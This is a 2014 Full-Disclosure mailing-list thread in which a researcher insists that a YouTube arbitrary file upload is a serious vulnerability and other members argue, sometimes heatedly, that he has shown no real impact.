 team feels that this would be necessary. This is unpaid work, so 
 we are
 not so keen on that job.



 On Fri, Mar 14, 2014 at 6:04 AM,

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

Google is a great service, but according to our proof of concepts (images,
poc's, codes) presented to Softpedia, and verified
by a couple of recognised experts including OWASP - that was a serious
vulnerability.

Now you can say whatever you like, and argue about it. You can argue about
the impact and whatsoever , but that's not the way to deal with security
issues.


On Fri, Mar 14, 2014 at 6:16 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Google is a great service, but according to our proof of concepts (images,
 poc's, codes) presented to Softpedia, and verified
 by a couple of recognised experts including OWASP - that was a serious
 vulnerability.

 Now you can say whatever you like, and argue about it. You can argue about
 the impact and whatsoever , but that's not the way to deal with security
 issues.




 On Fri, Mar 14, 2014 at 6:13 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Security vulnerabilities need to be published and reported. That's the
 spirit.

 Attacking the researcher, won't make it go away.


 On Fri, Mar 14, 2014 at 6:12 PM, Julius Kivimäki 
 julius.kivim...@gmail.com wrote:

 Dude, seriously. Just stop.


 2014-03-14 20:02 GMT+02:00 Nicholas Lemonias. 
 lem.niko...@googlemail.com:

 You can't even find a cross site scripting on google.

 Find a vuln on Google seems like a dream to some script kiddies.


 On Fri, Mar 14, 2014 at 6:00 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 The full-disclosure mailing list has really changed. It's full of
 lamers nowdays aiming high.





 On Fri, Mar 14, 2014 at 5:58 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Says the script kiddie... Beg for some publicity. My customers are
 FTSE 100.

 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:58 PM
 Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
 To: antisnatchor antisnatc...@gmail.com


 Says the script kiddie... Beg for some publicity. My customers are
 FTSE 100.




 On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor antisnatc...@gmail.com
  wrote:

 LOL you're hopeless.
 Good luck with your business. Brave customers!

 Cheers
 antisnatchor

 Nicholas Lemonias. wrote:


 People can read the report if they like. Can't you even do basic
 things like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If
 I was your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com


 People can read the report if they like. Can't you even do basic
 things like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If
 I was your boss I would fire you, with a good kick outta the door.






 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.comwrote:

 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on
 revisiting  separation of duties in this security instance.

 Happy to see more professionals with some skills.  Some others
 have also mentioned the feasibility for Denial of Service attacks. 
 Remote
 code execution by Social Engineering is also a prominent scenario.


 Actually, people have been pointing out exactly the opposite. But
 if you insist on believing you can DoS an EC2 by uploading files, good 
 luck
 to you then...



 If you can't tell that that is a vulnerability (probably coming
 from a bunch of CEH's), I feel sorry for those consultants.


 You're the only one throwing around certifications here. I can no
 longer tell if you're being serious or this is a massive prank.



 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on
 those points.
 I wouldn't hire you as a consultant, if you can't tell if that is
 a valid vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas 
 mvi...@gmail.comwrote:

 But do you have all the required EH certifications? Try this one
 from the Institute for
 Certified Application Security Specialists:
 http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute
 to the research community after all. If you are still on EFNet 
 give me a
 shout some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest 
 corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias.

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

Jerome of MacAfee has made a very valid point on revisiting separation of
duties in this security instance.

Remote code execution by Social Engineering is also a prominent scenario.

If you can't tell that that is a vulnerability (probably coming from a
bunch of CEH's), I feel sorry for those consultants, whether employed by
Google or other companies. It's usual for incompetent consultants to cover
up each others asses - speaking from experience.





On Fri, Mar 14, 2014 at 6:30 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on revisiting separation of
 duties in this security instance.

 Remote code execution by Social Engineering is also a prominent scenario.

 If you can't tell that that is a vulnerability (probably coming from a
 bunch of CEH's), I feel sorry for those consultants, whether employed by
 Google or other companies.

 Nicholas.


 On Fri, Mar 14, 2014 at 6:26 PM, Thomas MacKenzie tho...@tmacuk.co.ukwrote:


 You have a Googlemail account. How do we know you don't work for Google
 too...

 Inception type stuff going on here.

   Nicholas Lemonias. lem.niko...@googlemail.com
  14 March 2014 18:17
 Google is a great service, but according to our proof of concepts
 (images, poc's, codes) presented to Softpedia, and verified
 by a couple of recognised experts including OWASP - that was a serious
 vulnerability.

 Now you can say whatever you like, and argue about it. You can argue
 about the impact and whatsoever , but that's not the way to deal with
 security issues.



 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/
   Nicholas Lemonias. lem.niko...@googlemail.com
  14 March 2014 18:16
 Google is a great service, but according to our proof of concepts
 (images, poc's, codes) presented to Softpedia, and verified
 by a couple of recognised experts including OWASP - that was a serious
 vulnerability.

 Now you can say whatever you like, and argue about it. You can argue
 about the impact and whatsoever , but that's not the way to deal with
 security issues.





 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/
   Nicholas Lemonias. lem.niko...@googlemail.com
  14 March 2014 18:13
 Security vulnerabilities need to be published and reported. That's the
 spirit.

 Attacking the researcher, won't make it go away.



 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/
   Mario Vilas mvi...@gmail.com
  14 March 2014 15:55
 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on revisiting  separation
 of duties in this security instance.

 Happy to see more professionals with some skills.  Some others have also
 mentioned the feasibility for Denial of Service attacks. Remote code
 execution by Social Engineering is also a prominent scenario.


 Actually, people have been pointing out exactly the opposite. But if you
 insist on believing you can DoS an EC2 by uploading files, good luck to you
 then...



 If you can't tell that that is a vulnerability (probably coming from a
 bunch of CEH's), I feel sorry for those consultants.


 You're the only one throwing around certifications here. I can no longer
 tell if you're being serious or this is a massive prank.



 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
 valid vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC


   Laughing at the incompetency of some people, who wish to discredit
 OWASP and their reports. Say that to any serious professional, and they
 will laugh at you. Writing arbitrary files to a remote network is a serious
 risk, irrelevantly of how good and reputable that service is.


Best,
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

We have many PoC's including video clips. We may upload for the security
world to see.

However, this is not the way to treat security vulnerabilities. Attacking
the researcher and bringing you friends to do aswell, won't mitigate the
problem.
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

Google research not awarded.

http://www.techworm.net/2014/03/security-research-finds-flaws-in.html
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

You are wrong, because we do have proof of concepts. If we didn't have
them, then there would be no case.

But if there are video clips, images demonstrating impact - in which case
arbitrary file uploads (which is a write() call ) to a remote network, then
it is a vulnerability. It is not about the bounty, but rather about not
defying academic literature and widely recognised practise.

Attacking the arguer, won't make the bug to go away.

Best,

Nicholas.


On Fri, Mar 14, 2014 at 7:01 PM, Krzysztof Kotowicz
kkotowicz...@gmail.comwrote:

 Nicholas, seriously, just stop.

 You have found an 'arbitrary file upload' in a file hosting service and
 claim it is a serious vulnerability. With no proof that your 'arbitrary
 file' is being used anywhere in any context that would lead to code
 execution - on server or client side. You cite OWASP documents (which are
 unrelated to the case), academia papers from 1975 just to find a reason
 it's theoretically serious, not paying any attention to what service you're
 actually attacking and what have you really achieved in that (which is
 demonstrating a filtering weakness at best, low risk).

 Everyone on this list so far explains why you're wrong, but you just won't
 stop. So you start throwing out certificates, your academia experience and
 your respected company. Then - name calling everyone else. Seriously, it's
 just a good laugh for most of us.

 Dude, please, just because you did not qualify for a bounty, there's no
 point in launching a whole campaign like you are. You're essentially
 following the path of Khalil Shreateh (the guy who posted on Zuckerberg FB
 wall) - he DID find a vuln though. Do you really want that? Go ahead, start
 a crowdsourcing campaign!





 2014-03-14 19:40 GMT+01:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 We have many PoC's including video clips. We may upload for the security
 world to see.

 However, this is not the way to treat security vulnerabilities. Attacking
 the researcher and bringing you friends to do aswell, won't mitigate the
 problem.



 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/



___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

We are not asking for a payment. But at least a thank you for our efforts
would do.

Saying that it is not an issue, to upload remotely any file of choice, that
is ridiculous for the organisation they represent.


On Fri, Mar 14, 2014 at 7:09 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 You are wrong, because we do have proof of concepts. If we didn't have
 them, then there would be no case.

 But if there are video clips, images demonstrating impact - in which case
 arbitrary file uploads (which is a write() call ) to a remote network, then
 it is a vulnerability. It is not about the bounty, but rather about not
 defying academic literature and widely recognised practise.

 Attacking the arguer, won't make the bug to go away.

 Best,

 Nicholas.


 On Fri, Mar 14, 2014 at 7:01 PM, Krzysztof Kotowicz 
 kkotowicz...@gmail.com wrote:

 Nicholas, seriously, just stop.

 You have found an 'arbitrary file upload' in a file hosting service and
 claim it is a serious vulnerability. With no proof that your 'arbitrary
 file' is being used anywhere in any context that would lead to code
 execution - on server or client side. You cite OWASP documents (which are
 unrelated to the case), academia papers from 1975 just to find a reason
 it's theoretically serious, not paying any attention to what service you're
 actually attacking and what have you really achieved in that (which is
 demonstrating a filtering weakness at best, low risk).

 Everyone on this list so far explains why you're wrong, but you just
 won't stop. So you start throwing out certificates, your academia
 experience and your respected company. Then - name calling everyone else.
 Seriously, it's just a good laugh for most of us.

 Dude, please, just because you did not qualify for a bounty, there's no
 point in launching a whole campaign like you are. You're essentially
 following the path of Khalil Shreateh (the guy who posted on Zuckerberg FB
 wall) - he DID find a vuln though. Do you really want that? Go ahead, start
 a crowdsourcing campaign!





 2014-03-14 19:40 GMT+01:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 We have many PoC's including video clips. We may upload for the security
 world to see.

 However, this is not the way to treat security vulnerabilities.
 Attacking the researcher and bringing you friends to do aswell, won't
 mitigate the problem.



 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

And I am not referring just to Google. But for those people who support
that remote uploads to a trusted network is not an issue.  Then that also
means that firewalls and IPS systems are worthless. Why spend so much time
protecting the network layers if a user can send any file of choice to a
remote network...




On Fri, Mar 14, 2014 at 7:15 PM, Krzysztof Kotowicz
kkotowicz...@gmail.comwrote:

 Care to report the same to Dropbox and Pastebin? It's a gold mine, you
 know...


 2014-03-14 20:09 GMT+01:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 You are wrong, because we do have proof of concepts. If we didn't have
 them, then there would be no case.

 But if there are video clips, images demonstrating impact - in which case
 arbitrary file uploads (which is a write() call ) to a remote network, then
 it is a vulnerability. It is not about the bounty, but rather about not
 defying academic literature and widely recognised practise.

 Attacking the arguer, won't make the bug to go away.

 Best,

 Nicholas.


 On Fri, Mar 14, 2014 at 7:01 PM, Krzysztof Kotowicz 
 kkotowicz...@gmail.com wrote:

 Nicholas, seriously, just stop.

 You have found an 'arbitrary file upload' in a file hosting service and
 claim it is a serious vulnerability. With no proof that your 'arbitrary
 file' is being used anywhere in any context that would lead to code
 execution - on server or client side. You cite OWASP documents (which are
 unrelated to the case), academia papers from 1975 just to find a reason
 it's theoretically serious, not paying any attention to what service you're
 actually attacking and what have you really achieved in that (which is
 demonstrating a filtering weakness at best, low risk).

 Everyone on this list so far explains why you're wrong, but you just
 won't stop. So you start throwing out certificates, your academia
 experience and your respected company. Then - name calling everyone else.
 Seriously, it's just a good laugh for most of us.

 Dude, please, just because you did not qualify for a bounty, there's no
 point in launching a whole campaign like you are. You're essentially
 following the path of Khalil Shreateh (the guy who posted on Zuckerberg FB
 wall) - he DID find a vuln though. Do you really want that? Go ahead, start
 a crowdsourcing campaign!





 2014-03-14 19:40 GMT+01:00 Nicholas Lemonias. 
 lem.niko...@googlemail.com:

 We have many PoC's including video clips. We may upload for the
 security world to see.

 However, this is not the way to treat security vulnerabilities.
 Attacking the researcher and bringing you friends to do aswell, won't
 mitigate the problem.



 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/





___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

And I am not referring just to Google. But for those people who support
that remote uploads to a trusted network is not an issue.  Then that also
means that firewalls and IPS systems are worthless. Why spend so much time
protecting the network layers if a user can send any file of choice to a
remote network through http.


On Fri, Mar 14, 2014 at 7:20 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 And I am not referring just to Google. But for those people who support
 that remote uploads to a trusted network is not an issue.  Then that also
 means that firewalls and IPS systems are worthless. Why spend so much time
 protecting the network layers if a user can send any file of choice to a
 remote network...




 On Fri, Mar 14, 2014 at 7:15 PM, Krzysztof Kotowicz 
 kkotowicz...@gmail.com wrote:

 Care to report the same to Dropbox and Pastebin? It's a gold mine, you
 know...


 2014-03-14 20:09 GMT+01:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 You are wrong, because we do have proof of concepts. If we didn't have
 them, then there would be no case.

 But if there are video clips, images demonstrating impact - in which
 case arbitrary file uploads (which is a write() call ) to a remote network,
 then it is a vulnerability. It is not about the bounty, but rather about
 not defying academic literature and widely recognised practise.

 Attacking the arguer, won't make the bug to go away.

 Best,

 Nicholas.


 On Fri, Mar 14, 2014 at 7:01 PM, Krzysztof Kotowicz 
 kkotowicz...@gmail.com wrote:

 Nicholas, seriously, just stop.

 You have found an 'arbitrary file upload' in a file hosting service and
 claim it is a serious vulnerability. With no proof that your 'arbitrary
 file' is being used anywhere in any context that would lead to code
 execution - on server or client side. You cite OWASP documents (which are
 unrelated to the case), academia papers from 1975 just to find a reason
 it's theoretically serious, not paying any attention to what service you're
 actually attacking and what have you really achieved in that (which is
 demonstrating a filtering weakness at best, low risk).

 Everyone on this list so far explains why you're wrong, but you just
 won't stop. So you start throwing out certificates, your academia
 experience and your respected company. Then - name calling everyone else.
 Seriously, it's just a good laugh for most of us.

 Dude, please, just because you did not qualify for a bounty, there's no
 point in launching a whole campaign like you are. You're essentially
 following the path of Khalil Shreateh (the guy who posted on Zuckerberg FB
 wall) - he DID find a vuln though. Do you really want that? Go ahead, start
 a crowdsourcing campaign!





 2014-03-14 19:40 GMT+01:00 Nicholas Lemonias. 
 lem.niko...@googlemail.com:

 We have many PoC's including video clips. We may upload for the
 security world to see.

 However, this is not the way to treat security vulnerabilities.
 Attacking the researcher and bringing you friends to do aswell, won't
 mitigate the problem.



 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/






___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

Then that also means that firewalls and IPS systems are worthless. Why
spend so much time protecting the network layers if a user can send any
file of choice to a remote network through http...

As for the uploaded files being persistent, there is evidence of that.  For
instance a remote admin could be tricked to execute some of the uploaded
files (Social Engineering).

So our report sent as part of Google's security program, should not be
treated as a non-security issue.


Thanks,


On Fri, Mar 14, 2014 at 7:23 PM, R D rd.secli...@gmail.com wrote:

 I'm going to try to spell it out clearly.

 You don't have unrestricted file upload[1]. Keep in mind you're trying to
 abuse youtube, which is essentially a video file upload service. So the
 fact that you can upload files is not surprising.
 Now you're uploading non-video files. Cool. But not earth-shattering.
 They are not accessible to anyone but you, as far as I can tell, and I
 don't even think you can access the file contents on the remote server, but
 please prove me wrong on both points.
 You are still, as far as I can tell, bound by the per-file and per-account
 quota on disk occupation, so you don't have a DoS by resource exhaustion.
 You can't force server-side file path, so you don't have RFI or DoS by
 messing with the remote file system. You can't execute the files you
 uploaded, so you don't have arbitrary code execution.

 But you are right about what your PoC does. You bypassed a security
 control, you uploaded crap on youtube servers, and by that you exhausted
 their resources by a fraction of the quota they allow you when signing up.
 BTW, I don't think they keep invalid video files for an indefinite period
 of time in a user account, but I might be wrong.

 The burden of proof is still on your side as to whether or not the bug you
 found has any impact that was not already accepted by youtube allowing
 registered users to upload whatever crap they see fit as long as it is
 video. You failed to provide this proof, and please be sure the audience of
 fulldisclosure is not attacking the researcher but working with you to
 have a better understanding of the bug you found, even though you kinda
 acted like a fool in this thread.

 Please keep on searching and finding vulns, please keep on publishing
 them, and use this as a learning experience that not all bugs or control
 bypasses are security vulnerabilities.

 --Rob'

 [1] As per OWASP (https://www.owasp.org/index.php/Unrestricted_File_Upload
 ):

 There are really two classes of problems here. The first is with the file
 metadata, like the path and file name. These are generally provided by the
 transport, such as HTTP multi-part encoding. This data may trick the
 application into overwriting a critical file or storing the file in a bad
 location. You must validate the metadata extremely carefully before using
 it.

 Your POC doesn't demonstrate that.

 The other class of problem is with the file size or content. The range of
 problems here depends entirely on what the file is used for. See the
 examples below for some ideas about how files might be misused. To protect
 against this type of attack, you should analyze everything your application
 does with files and think carefully about what processing and interpreters
 are involved.

 Your POC kinda does that, but you didn't provide proof it's possible to
 execute what you uploaded, either using social engineering or any other
 method.

 Also, please don't say verified by a couple of recognised experts
 including OWASP unless you actually spoke with someone @owasp and she
 validated your findings.


 On Fri, Mar 14, 2014 at 7:40 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We have many PoC's including video clips. We may upload for the security
 world to see.

 However, this is not the way to treat security vulnerabilities. Attacking
 the researcher and bringing you friends to do aswell, won't mitigate the
 problem.



 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/



___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

It is an example, citing that there has been a security hole on Youtube
that needs patching. End of Story.


On Fri, Mar 14, 2014 at 7:32 PM, Julius Kivimäki
julius.kivim...@gmail.comwrote:

 Wait, so remote code execution by social engineering wasn't a troll? I'm
 confused.


 2014-03-14 21:28 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 Then that also means that firewalls and IPS systems are worthless. Why
 spend so much time protecting the network layers if a user can send any
 file of choice to a remote network through http...

 As for the uploaded files being persistent, there is evidence of that.
 For instance a remote admin could be tricked to execute some of
 the uploaded files (Social Engineering).

 So our report sent as part of Google's security program, should not be
 treated as a non-security issue.


 Thanks,


 On Fri, Mar 14, 2014 at 7:23 PM, R D rd.secli...@gmail.com wrote:

 I'm going to try to spell it out clearly.

 You don't have unrestricted file upload[1]. Keep in mind you're trying
 to abuse youtube, which is essentially a video file upload service. So the
 fact that you can upload files is not surprising.
 Now you're uploading non-video files. Cool. But not earth-shattering.
 They are not accessible to anyone but you, as far as I can tell, and I
 don't even think you can access the file contents on the remote server, but
 please prove me wrong on both points.
 You are still, as far as I can tell, bound by the per-file and
 per-account quota on disk occupation, so you don't have a DoS by resource
 exhaustion.
 You can't force server-side file path, so you don't have RFI or DoS by
 messing with the remote file system. You can't execute the files you
 uploaded, so you don't have arbitrary code execution.

 But you are right about what your PoC does. You bypassed a security
 control, you uploaded crap on youtube servers, and by that you exhausted
 their resources by a fraction of the quota they allow you when signing up.
 BTW, I don't think they keep invalid video files for an indefinite period
 of time in a user account, but I might be wrong.

 The burden of proof is still on your side as to whether or not the bug
 you found has any impact that was not already accepted by youtube allowing
 registered users to upload whatever crap they see fit as long as it is
 video. You failed to provide this proof, and please be sure the audience of
 fulldisclosure is not attacking the researcher but working with you to
 have a better understanding of the bug you found, even though you kinda
 acted like a fool in this thread.

 Please keep on searching and finding vulns, please keep on publishing
 them, and use this as a learning experience that not all bugs or control
 bypasses are security vulnerabilities.

 --Rob'

 [1] As per OWASP (
 https://www.owasp.org/index.php/Unrestricted_File_Upload):

 There are really two classes of problems here. The first is with the
 file metadata, like the path and file name. These are generally provided by
 the transport, such as HTTP multi-part encoding. This data may trick the
 application into overwriting a critical file or storing the file in a bad
 location. You must validate the metadata extremely carefully before using
 it.

 Your POC doesn't demonstrate that.

 The other class of problem is with the file size or content. The range
 of problems here depends entirely on what the file is used for. See the
 examples below for some ideas about how files might be misused. To protect
 against this type of attack, you should analyze everything your application
 does with files and think carefully about what processing and interpreters
 are involved.

 Your POC kinda does that, but you didn't provide proof it's possible to
 execute what you uploaded, either using social engineering or any other
 method.

 Also, please don't say verified by a couple of recognised experts
 including OWASP unless you actually spoke with someone @owasp and she
 validated your findings.


 On Fri, Mar 14, 2014 at 7:40 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We have many PoC's including video clips. We may upload for the
 security world to see.

 However, this is not the way to treat security vulnerabilities.
 Attacking the researcher and bringing you friends to do aswell, won't
 mitigate the problem.



 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/



___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

http://upload.youtube.com/?authuser=0upload_id=
AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--
uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=
CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw

That information can be queried from the db, where the metadata are saved.
The files are being saved persistently , as per the above example.

On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

That information can be queried from the db, where the metadata are saved.
The files are being saved persistently , as per the above example.

On Fri, Mar 14, 2014 at 8:00 PM, Chris Thompson
christhom7...@gmail.comwrote:

Hi Nikolas,

Please do read (and understand) my entire email before responding - I
understand your frustration trying to get your message across but maybe
this will help.

Please put aside professional pride for the time being - I know how it
feels to be passionate about something yet have others simply not
understand.

Let me try and bring some sanity to the discussion and explain to you why
people maybe not agreeing with you.

You (rightly so) highlighted what you believe to be an issue in a Youtube
whereby it appears (to you) than you can upload an arbitrary file. If you
can indeed do this as you suspect then your points are valid and you may
be able to cause various issues associated with it such as DOS etc -
especially if the uploaded files cannot or are not tracked.

However...

Consider than you are talking to an API and what you are getting back
(the JSON response) in your example is simply a response from the API to
say the file you uploaded has been received and saved.

Now, as you no doubt know, when you upload a regular movie to YouTube,
once uploaded it goes away and does some post-processing, converting it to
flash for example. What's to say that there isn't some verification aspect
to this post-processing that checks if the file is intact a valid movie and
if not removes it.

If you could for example demonstrate that the file was indeed persistent,
by being able to retrieve it for example then again, you would have solid
ground to claim an issue however your claims at this point are based on an
assumption Let me explain.

1. You have demonstrated than you can send any file to an API and the
API returned an acknowledgment of receiving (and saving) the file.

2. You / we don't know what Google do with files once they have been
received from the API - maybe they process them and validate them - we
simply don't know.

3. You have hypothesized that you can retrieve the file by manipulating
tokens etc and you may be right, but you have not demonstrated it as such.

Because of this, you seem to have made a CLAIM that you can upload
arbitrary files to Google however SHOWN that you can simply send files to
an API and an API responds in a certain way.

I am NOT saying you haven't found an issue, what I am saying is that you
need to demonstrate that the issue is real and thus can be abused. If the
Google service simply verifies all uploaded files once they are uploaded
and discards them if invalid, then you haven't really found anything.

If you were to prove that you were able to retrieve this uploaded file
then how could anyone dispute your bug.

Hope this helps

Cheers!

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

My claim is now verified

Cheers!

On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

http://upload.youtube.com/?authuser=0upload_id=
AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--
uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=
CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw

That information can be queried from the db, where the metadata are saved.
The files are being saved persistently , as per the above example.

On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

That information can be queried from the db, where the metadata are
saved. The files are being saved persistently , as per the above example.

On Fri, Mar 14, 2014 at 8:00 PM, Chris Thompson
christhom7...@gmail.comwrote:

Hi Nikolas,

Please do read (and understand) my entire email before responding - I
understand your frustration trying to get your message across but maybe
this will help.

Please put aside professional pride for the time being - I know how it
feels to be passionate about something yet have others simply not
understand.

Let me try and bring some sanity to the discussion and explain to you
why people maybe not agreeing with you.

You (rightly so) highlighted what you believe to be an issue in a
Youtube whereby it appears (to you) than you can upload an arbitrary file.
If you can indeed do this as you suspect then your points are valid and you
may be able to cause various issues associated with it such as DOS etc -
especially if the uploaded files cannot or are not tracked.

However...

Consider than you are talking to an API and what you are getting back
(the JSON response) in your example is simply a response from the API to
say the file you uploaded has been received and saved.

If you could for example demonstrate that the file was indeed
persistent, by being able to retrieve it for example then again, you would
have solid ground to claim an issue however your claims at this point are
based on an assumption Let me explain.

1. You have demonstrated than you can send any file to an API and the
API returned an acknowledgment of receiving (and saving) the file.

2. You / we don't know what Google do with files once they have been
received from the API - maybe they process them and validate them - we
simply don't know.

3. You have hypothesized that you can retrieve the file by manipulating
tokens etc and you may be right, but you have not demonstrated it as such.

Because of this, you seem to have made a CLAIM that you can upload
arbitrary files to Google however SHOWN that you can simply send files to
an API and an API responds in a certain way.

If you were to prove that you were able to retrieve this uploaded file
then how could anyone dispute your bug.

Hope this helps

Cheers!

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

So you can query a file that I uploaded, and you can see that is uploaded
successfully and saved. That information does not require the user to be
logged in.

